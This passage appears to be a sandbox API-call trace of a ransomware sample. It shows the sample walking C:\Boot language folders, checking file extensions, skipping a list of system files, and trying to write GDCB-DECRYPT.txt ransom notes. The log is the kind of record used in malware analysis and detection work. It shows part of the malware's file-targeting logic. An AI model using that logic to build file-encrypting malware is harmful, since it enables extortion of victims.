(lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.454] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0 [0169.454] FindClose (in: hFindFile=0x5a4dd8 | out: hFindFile=0x5a4dd8) returned 1 [0169.454] FindNextFileW (in: hFindFile=0x5a4b18, lpFindFileData=0x285fa38 | out: lpFindFileData=0x285fa38) returned 1 [0169.454] lstrcmpW (lpString1="el-GR", lpString2=".") returned 1 [0169.454] lstrcmpW (lpString1="el-GR", lpString2="..") returned 1 [0169.454] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="el-GR" | out: lpString1="C:\\Boot\\el-GR") returned="C:\\Boot\\el-GR" [0169.454] lstrcatW (in: lpString1="C:\\Boot\\el-GR", lpString2="\\" | out: lpString1="C:\\Boot\\el-GR\\") returned="C:\\Boot\\el-GR\\" [0169.454] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.455] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0169.455] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0169.455] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0169.455] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0169.455] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.455] lstrlenW (lpString="C:\\Boot\\el-GR\\") returned 14 [0169.455] lstrcatW (in: lpString1="C:\\Boot\\el-GR\\", lpString2="*" | out: lpString1="C:\\Boot\\el-GR\\*") returned="C:\\Boot\\el-GR\\*" [0169.455] FindFirstFileW (in: lpFileName="C:\\Boot\\el-GR\\*", lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0x5a5018 [0169.455] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.455] FindNextFileW (in: hFindFile=0x5a5018, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0169.455] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.455] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.455] FindNextFileW (in: hFindFile=0x5a5018, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0169.455] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0169.455] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0169.455] lstrcatW (in: lpString1="C:\\Boot\\el-GR\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned="C:\\Boot\\el-GR\\bootmgr.exe.mui" [0169.455] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0169.455] lstrcmpW (lpString1=".mui", lpString2=".sql") returned -1 [0169.455] FindNextFileW (in: hFindFile=0x5a5018, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0169.455] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0169.455] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0169.455] lstrcatW (in: lpString1="C:\\Boot\\el-GR\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\el-GR\\GDCB-DECRYPT.txt") returned="C:\\Boot\\el-GR\\GDCB-DECRYPT.txt" [0169.455] lstrlenW (lpString="C:\\Boot\\el-GR\\GDCB-DECRYPT.txt") returned 30 [0169.455] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0169.455] FindNextFileW (in: hFindFile=0x5a5018, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0169.455] lstrcmpW (lpString1="memtest.exe.mui", lpString2=".") returned 1 [0169.455] lstrcmpW (lpString1="memtest.exe.mui", lpString2="..") returned 1 [0169.455] lstrcatW (in: lpString1="C:\\Boot\\el-GR\\", lpString2="memtest.exe.mui" | out: lpString1="C:\\Boot\\el-GR\\memtest.exe.mui") returned="C:\\Boot\\el-GR\\memtest.exe.mui" [0169.455] lstrlenW (lpString="C:\\Boot\\el-GR\\memtest.exe.mui") returned 29 [0169.455] lstrcmpW (lpString1=".mui", lpString2=".sql") returned -1 [0169.455] FindNextFileW (in: hFindFile=0x5a5018, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0 [0169.455] FindClose (in: hFindFile=0x5a5018 | out: hFindFile=0x5a5018) returned 1 [0169.456] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.456] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Boot\\el-GR\\\\GDCB-DECRYPT.txt") returned 31 [0169.456] CreateFileW (lpFileName="C:\\Boot\\el-GR\\\\GDCB-DECRYPT.txt" (normalized: "c:\\boot\\el-gr\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0169.456] GetLastError () returned 0x50 [0169.456] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.456] lstrlenW (lpString="C:\\Boot\\el-GR\\") returned 14 [0169.456] lstrcatW (in: lpString1="C:\\Boot\\el-GR\\", lpString2="*" | out: lpString1="C:\\Boot\\el-GR\\*") returned="C:\\Boot\\el-GR\\*" [0169.456] FindFirstFileW (in: lpFileName="C:\\Boot\\el-GR\\*", lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0x5a48d8 [0169.456] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.456] FindNextFileW (in: hFindFile=0x5a48d8, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0169.456] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.456] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.456] FindNextFileW (in: hFindFile=0x5a48d8, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0169.456] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0169.456] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0169.456] lstrcatW (in: lpString1="C:\\Boot\\el-GR\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned="C:\\Boot\\el-GR\\bootmgr.exe.mui" [0169.456] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.456] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0169.457] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0169.457] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.457] FindNextFileW (in: hFindFile=0x5a48d8, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0169.457] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0169.457] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0169.457] lstrcatW (in: lpString1="C:\\Boot\\el-GR\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\el-GR\\GDCB-DECRYPT.txt") returned="C:\\Boot\\el-GR\\GDCB-DECRYPT.txt" [0169.457] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.457] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Boot\\el-GR\\GDCB-DECRYPT.txt") returned 30 [0169.457] lstrlenW (lpString="C:\\Boot\\el-GR\\GDCB-DECRYPT.txt") returned 30 [0169.457] lstrlenW (lpString="C:\\Boot\\el-GR\\GDCB-DECRYPT.txt") returned 30 [0169.457] lstrlenW (lpString="C:\\Boot\\el-GR\\GDCB-DECRYPT.txt") returned 30 [0169.457] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0169.457] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0169.457] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0169.457] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0169.457] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0169.457] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0169.457] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0169.457] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0169.457] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0169.457] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.457] FindNextFileW (in: hFindFile=0x5a48d8, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0169.457] lstrcmpW (lpString1="memtest.exe.mui", lpString2=".") returned 1 [0169.457] lstrcmpW (lpString1="memtest.exe.mui", lpString2="..") returned 1 [0169.457] lstrcatW (in: lpString1="C:\\Boot\\el-GR\\", lpString2="memtest.exe.mui" | out: lpString1="C:\\Boot\\el-GR\\memtest.exe.mui") returned="C:\\Boot\\el-GR\\memtest.exe.mui" [0169.457] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.457] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Boot\\el-GR\\memtest.exe.mui") returned 29 [0169.457] lstrlenW (lpString="C:\\Boot\\el-GR\\memtest.exe.mui") returned 29 [0169.457] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.458] FindNextFileW (in: hFindFile=0x5a48d8, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0 [0169.458] FindClose (in: hFindFile=0x5a48d8 | out: hFindFile=0x5a48d8) returned 1 [0169.458] FindNextFileW (in: hFindFile=0x5a4b18, lpFindFileData=0x285fa38 | out: lpFindFileData=0x285fa38) returned 1 [0169.458] lstrcmpW (lpString1="en-GB", lpString2=".") returned 1 [0169.458] lstrcmpW (lpString1="en-GB", lpString2="..") returned 1 [0169.458] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="en-GB" | out: lpString1="C:\\Boot\\en-GB") returned="C:\\Boot\\en-GB" [0169.458] lstrcatW (in: lpString1="C:\\Boot\\en-GB", lpString2="\\" | out: lpString1="C:\\Boot\\en-GB\\") returned="C:\\Boot\\en-GB\\" [0169.458] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.458] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0169.458] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0169.458] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0169.458] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0169.458] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.458] lstrlenW (lpString="C:\\Boot\\en-GB\\") returned 14 [0169.458] lstrcatW (in: lpString1="C:\\Boot\\en-GB\\", lpString2="*" | out: lpString1="C:\\Boot\\en-GB\\*") returned="C:\\Boot\\en-GB\\*" [0169.458] FindFirstFileW (in: lpFileName="C:\\Boot\\en-GB\\*", lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0x5a4b58 [0169.458] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.458] FindNextFileW (in: hFindFile=0x5a4b58, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0169.458] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.459] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.459] FindNextFileW (in: hFindFile=0x5a4b58, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0169.459] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0169.459] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0169.459] lstrcatW (in: lpString1="C:\\Boot\\en-GB\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\en-GB\\bootmgr.exe.mui") returned="C:\\Boot\\en-GB\\bootmgr.exe.mui" [0169.459] lstrlenW (lpString="C:\\Boot\\en-GB\\bootmgr.exe.mui") returned 29 [0169.459] lstrcmpW (lpString1=".mui", lpString2=".sql") returned -1 [0169.459] FindNextFileW (in: hFindFile=0x5a4b58, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0169.459] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0169.459] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0169.459] lstrcatW (in: lpString1="C:\\Boot\\en-GB\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\en-GB\\GDCB-DECRYPT.txt") returned="C:\\Boot\\en-GB\\GDCB-DECRYPT.txt" [0169.459] lstrlenW (lpString="C:\\Boot\\en-GB\\GDCB-DECRYPT.txt") returned 30 [0169.459] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0169.459] FindNextFileW (in: hFindFile=0x5a4b58, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0 [0169.459] FindClose (in: hFindFile=0x5a4b58 | out: hFindFile=0x5a4b58) returned 1 [0169.459] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.459] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Boot\\en-GB\\\\GDCB-DECRYPT.txt") returned 31 [0169.459] CreateFileW (lpFileName="C:\\Boot\\en-GB\\\\GDCB-DECRYPT.txt" (normalized: "c:\\boot\\en-gb\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0169.459] GetLastError () returned 0x50 [0169.459] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.459] lstrlenW (lpString="C:\\Boot\\en-GB\\") returned 14 [0169.459] lstrcatW (in: lpString1="C:\\Boot\\en-GB\\", lpString2="*" | out: lpString1="C:\\Boot\\en-GB\\*") returned="C:\\Boot\\en-GB\\*" [0169.459] FindFirstFileW (in: lpFileName="C:\\Boot\\en-GB\\*", lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0x5a4b58 [0169.459] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.459] FindNextFileW (in: hFindFile=0x5a4b58, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0169.459] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.460] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.460] FindNextFileW (in: hFindFile=0x5a4b58, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0169.460] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0169.460] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0169.460] lstrcatW (in: lpString1="C:\\Boot\\en-GB\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\en-GB\\bootmgr.exe.mui") returned="C:\\Boot\\en-GB\\bootmgr.exe.mui" [0169.460] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.460] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Boot\\en-GB\\bootmgr.exe.mui") returned 29 [0169.460] lstrlenW (lpString="C:\\Boot\\en-GB\\bootmgr.exe.mui") returned 29 [0169.460] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.460] FindNextFileW (in: hFindFile=0x5a4b58, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0169.460] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0169.460] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0169.460] lstrcatW (in: lpString1="C:\\Boot\\en-GB\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\en-GB\\GDCB-DECRYPT.txt") returned="C:\\Boot\\en-GB\\GDCB-DECRYPT.txt" [0169.460] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.460] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Boot\\en-GB\\GDCB-DECRYPT.txt") returned 30 [0169.460] lstrlenW (lpString="C:\\Boot\\en-GB\\GDCB-DECRYPT.txt") returned 30 [0169.460] lstrlenW (lpString="C:\\Boot\\en-GB\\GDCB-DECRYPT.txt") returned 30 [0169.460] lstrlenW (lpString="C:\\Boot\\en-GB\\GDCB-DECRYPT.txt") returned 30 [0169.460] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0169.460] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0169.460] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0169.460] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0169.460] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0169.460] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0169.460] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0169.460] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0169.460] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0169.460] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.461] FindNextFileW (in: hFindFile=0x5a4b58, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0 [0169.461] FindClose (in: hFindFile=0x5a4b58 | out: hFindFile=0x5a4b58) returned 1 [0169.461] FindNextFileW (in: hFindFile=0x5a4b18, lpFindFileData=0x285fa38 | out: lpFindFileData=0x285fa38) returned 1 [0169.461] lstrcmpW (lpString1="en-US", lpString2=".") returned 1 [0169.461] lstrcmpW (lpString1="en-US", lpString2="..") returned 1 [0169.461] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="en-US" | out: lpString1="C:\\Boot\\en-US") returned="C:\\Boot\\en-US" [0169.461] lstrcatW (in: lpString1="C:\\Boot\\en-US", lpString2="\\" | out: lpString1="C:\\Boot\\en-US\\") returned="C:\\Boot\\en-US\\" [0169.461] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.461] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0169.461] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0169.461] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0169.461] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0169.461] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.461] lstrlenW (lpString="C:\\Boot\\en-US\\") returned 14 [0169.461] lstrcatW (in: lpString1="C:\\Boot\\en-US\\", lpString2="*" | out: lpString1="C:\\Boot\\en-US\\*") returned="C:\\Boot\\en-US\\*" [0169.461] FindFirstFileW (in: lpFileName="C:\\Boot\\en-US\\*", lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0x5a4b58 [0169.461] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.461] FindNextFileW (in: hFindFile=0x5a4b58, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0169.461] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.461] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.461] FindNextFileW (in: hFindFile=0x5a4b58, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0169.461] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0169.461] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0169.461] lstrcatW (in: lpString1="C:\\Boot\\en-US\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\en-US\\bootmgr.exe.mui") returned="C:\\Boot\\en-US\\bootmgr.exe.mui" [0169.461] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0169.461] lstrcmpW (lpString1=".mui", lpString2=".sql") returned -1 [0169.461] FindNextFileW (in: hFindFile=0x5a4b58, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0169.461] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0169.461] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0169.462] lstrcatW (in: lpString1="C:\\Boot\\en-US\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\en-US\\GDCB-DECRYPT.txt") returned="C:\\Boot\\en-US\\GDCB-DECRYPT.txt" [0169.462] lstrlenW (lpString="C:\\Boot\\en-US\\GDCB-DECRYPT.txt") returned 30 [0169.462] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0169.462] FindNextFileW (in: hFindFile=0x5a4b58, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0169.462] lstrcmpW (lpString1="memtest.exe.mui", lpString2=".") returned 1 [0169.462] lstrcmpW (lpString1="memtest.exe.mui", lpString2="..") returned 1 [0169.462] lstrcatW (in: lpString1="C:\\Boot\\en-US\\", lpString2="memtest.exe.mui" | out: lpString1="C:\\Boot\\en-US\\memtest.exe.mui") returned="C:\\Boot\\en-US\\memtest.exe.mui" [0169.462] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0169.462] lstrcmpW (lpString1=".mui", lpString2=".sql") returned -1 [0169.462] FindNextFileW (in: hFindFile=0x5a4b58, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0 [0169.462] FindClose (in: hFindFile=0x5a4b58 | out: hFindFile=0x5a4b58) returned 1 [0169.462] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.462] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Boot\\en-US\\\\GDCB-DECRYPT.txt") returned 31 [0169.462] CreateFileW (lpFileName="C:\\Boot\\en-US\\\\GDCB-DECRYPT.txt" (normalized: "c:\\boot\\en-us\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0169.462] GetLastError () returned 0x50 [0169.462] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.462] lstrlenW (lpString="C:\\Boot\\en-US\\") returned 14 [0169.462] lstrcatW (in: lpString1="C:\\Boot\\en-US\\", lpString2="*" | out: lpString1="C:\\Boot\\en-US\\*") returned="C:\\Boot\\en-US\\*" [0169.462] FindFirstFileW (in: lpFileName="C:\\Boot\\en-US\\*", lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0x5a4958 [0169.462] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.462] FindNextFileW (in: hFindFile=0x5a4958, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0169.462] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.462] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.462] FindNextFileW (in: hFindFile=0x5a4958, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0169.462] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0169.462] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0169.462] lstrcatW (in: lpString1="C:\\Boot\\en-US\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\en-US\\bootmgr.exe.mui") returned="C:\\Boot\\en-US\\bootmgr.exe.mui" [0169.462] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.463] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0169.463] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0169.463] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.463] FindNextFileW (in: hFindFile=0x5a4958, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0169.463] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0169.463] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0169.463] lstrcatW (in: lpString1="C:\\Boot\\en-US\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\en-US\\GDCB-DECRYPT.txt") returned="C:\\Boot\\en-US\\GDCB-DECRYPT.txt" [0169.463] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.463] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Boot\\en-US\\GDCB-DECRYPT.txt") returned 30 [0169.463] lstrlenW (lpString="C:\\Boot\\en-US\\GDCB-DECRYPT.txt") returned 30 [0169.463] lstrlenW (lpString="C:\\Boot\\en-US\\GDCB-DECRYPT.txt") returned 30 [0169.463] lstrlenW (lpString="C:\\Boot\\en-US\\GDCB-DECRYPT.txt") returned 30 [0169.463] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0169.463] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0169.463] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0169.463] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0169.463] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0169.463] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0169.463] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0169.463] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0169.463] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0169.463] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.463] FindNextFileW (in: hFindFile=0x5a4958, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0169.463] lstrcmpW (lpString1="memtest.exe.mui", lpString2=".") returned 1 [0169.463] lstrcmpW (lpString1="memtest.exe.mui", lpString2="..") returned 1 [0169.463] lstrcatW (in: lpString1="C:\\Boot\\en-US\\", lpString2="memtest.exe.mui" | out: lpString1="C:\\Boot\\en-US\\memtest.exe.mui") 